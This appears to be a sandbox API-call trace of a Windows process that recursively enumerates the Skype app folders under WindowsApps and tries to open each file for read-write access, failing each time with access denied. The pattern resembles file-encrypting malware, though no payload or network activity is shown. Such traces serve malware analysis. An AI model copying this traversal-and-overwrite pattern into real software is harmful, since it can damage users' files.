	[0091.318] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ffeac, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0ffeac, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0ffeac, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkypeLargeTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0091.318] wcscmp (_String1="SkypeLargeTile.scale-100_contrast-white.png", _String2=".") returned 1
	[0091.318] wcscmp (_String1="SkypeLargeTile.scale-100_contrast-white.png", _String2="..") returned 1
	[0091.318] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2e45250
	[0091.318] wcscpy (in: _Dest=0x2e45250, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.318] wcscat (in: _Dest=0x2e45250, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.319] wcscat (in: _Dest=0x2e45250, _Source="SkypeLargeTile.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100_contrast-white.png"
	[0091.319] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypelargetile.scale-100_contrast-white.png")) returned 0x20
	[0091.319] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.319] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypelargetile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.319] GetLastError () returned 0x5
	[0091.319] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45250) returned 1
	[0091.319] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ffeac, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0ffeac, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0ffeac, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkypeLogo.scale-100.png", cAlternateFileName="")) returned 1
	[0091.319] wcscmp (_String1="SkypeLogo.scale-100.png", _String2=".") returned 1
	[0091.319] wcscmp (_String1="SkypeLogo.scale-100.png", _String2="..") returned 1
	[0091.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x112) returned 0x4771868
	[0091.319] wcscpy (in: _Dest=0x4771868, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.319] wcscat (in: _Dest=0x4771868, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.319] wcscat (in: _Dest=0x4771868, _Source="SkypeLogo.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLogo.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLogo.scale-100.png"
	[0091.319] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypelogo.scale-100.png")) returned 0x20
	[0091.320] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.322] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypelogo.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.322] GetLastError () returned 0x5
	[0091.322] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771868) returned 1
	[0091.322] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ffeac, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0ffeac, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0ffeac, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkypeMedTile.scale-100.png", cAlternateFileName="")) returned 1
	[0091.322] wcscmp (_String1="SkypeMedTile.scale-100.png", _String2=".") returned 1
	[0091.322] wcscmp (_String1="SkypeMedTile.scale-100.png", _String2="..") returned 1
	[0091.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771be0
	[0091.322] wcscpy (in: _Dest=0x4771be0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.322] wcscat (in: _Dest=0x4771be0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.322] wcscat (in: _Dest=0x4771be0, _Source="SkypeMedTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100.png"
	[0091.323] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypemedtile.scale-100.png")) returned 0x20
	[0091.324] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.324] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypemedtile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.324] GetLastError () returned 0x5
	[0091.324] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771be0) returned 1
	[0091.325] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ffeac, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc12610a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc12610a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x41b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkypeMedTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0091.325] wcscmp (_String1="SkypeMedTile.scale-100_contrast-black.png", _String2=".") returned 1
	[0091.325] wcscmp (_String1="SkypeMedTile.scale-100_contrast-black.png", _String2="..") returned 1
	[0091.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x136) returned 0x481ebb8
	[0091.325] wcscpy (in: _Dest=0x481ebb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.325] wcscat (in: _Dest=0x481ebb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.325] wcscat (in: _Dest=0x481ebb8, _Source="SkypeMedTile.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100_contrast-black.png"
	[0091.325] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypemedtile.scale-100_contrast-black.png")) returned 0x20
	[0091.326] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.327] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypemedtile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.327] GetLastError () returned 0x5
	[0091.327] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ebb8) returned 1
	[0091.327] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc12610a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc12610a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc12610a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x43b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkypeMedTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0091.327] wcscmp (_String1="SkypeMedTile.scale-100_contrast-white.png", _String2=".") returned 1
	[0091.327] wcscmp (_String1="SkypeMedTile.scale-100_contrast-white.png", _String2="..") returned 1
	[0091.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x136) returned 0x481e7e0
	[0091.327] wcscpy (in: _Dest=0x481e7e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.327] wcscat (in: _Dest=0x481e7e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.327] wcscat (in: _Dest=0x481e7e0, _Source="SkypeMedTile.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100_contrast-white.png"
	[0091.327] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeMedTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypemedtile.scale-100_contrast-white.png")) 

Thread:
	id = 850
	os_tid = 0xe8c

	[0082.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d060
	[0082.035] wcscpy (in: _Dest=0x2d7d060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c"
	[0082.035] wcscat (in: _Dest=0x2d7d060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\"
	[0082.035] wcscat (in: _Dest=0x2d7d060, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\*"
	[0082.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0082.035] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73778cb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdba15ff2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba15ff2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a70d0
	[0082.036] wcscmp (_String1=".", _String2=".") returned 0
	[0082.036] FindNextFileW (in: hFindFile=0x46a70d0, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73778cb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdba15ff2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba15ff2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.036] wcscmp (_String1="..", _String2=".") returned 1
	[0082.037] wcscmp (_String1="..", _String2="..") returned 0
	[0082.037] FindNextFileW (in: hFindFile=0x46a70d0, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739db1f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x739db1f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x739db1f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.037] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.037] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718900
	[0082.037] wcscpy (in: _Dest=0x4718900, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c"
	[0082.037] wcscat (in: _Dest=0x4718900, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\"
	[0082.037] wcscat (in: _Dest=0x4718900, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxBlockMap.xml"
	[0091.250] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\appxblockmap.xml")) returned 0x20
	[0091.252] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.252] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.252] GetLastError () returned 0x5
	[0091.252] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718900) returned 1
	[0091.253] FindNextFileW (in: hFindFile=0x46a70d0, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73778cb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0335567, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x73778cb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0091.253] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0091.253] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0091.253] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4926008
	[0091.253] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c"
	[0091.253] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\"
	[0091.253] wcscat (in: _Dest=0x4926008, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata"
	[0091.253] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718b70
	[0091.253] wcscpy (in: _Dest=0x4718b70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata"
	[0091.253] wcscat (in: _Dest=0x4718b70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\"
	[0091.253] wcscat (in: _Dest=0x4718b70, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\*"
	[0091.253] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f498
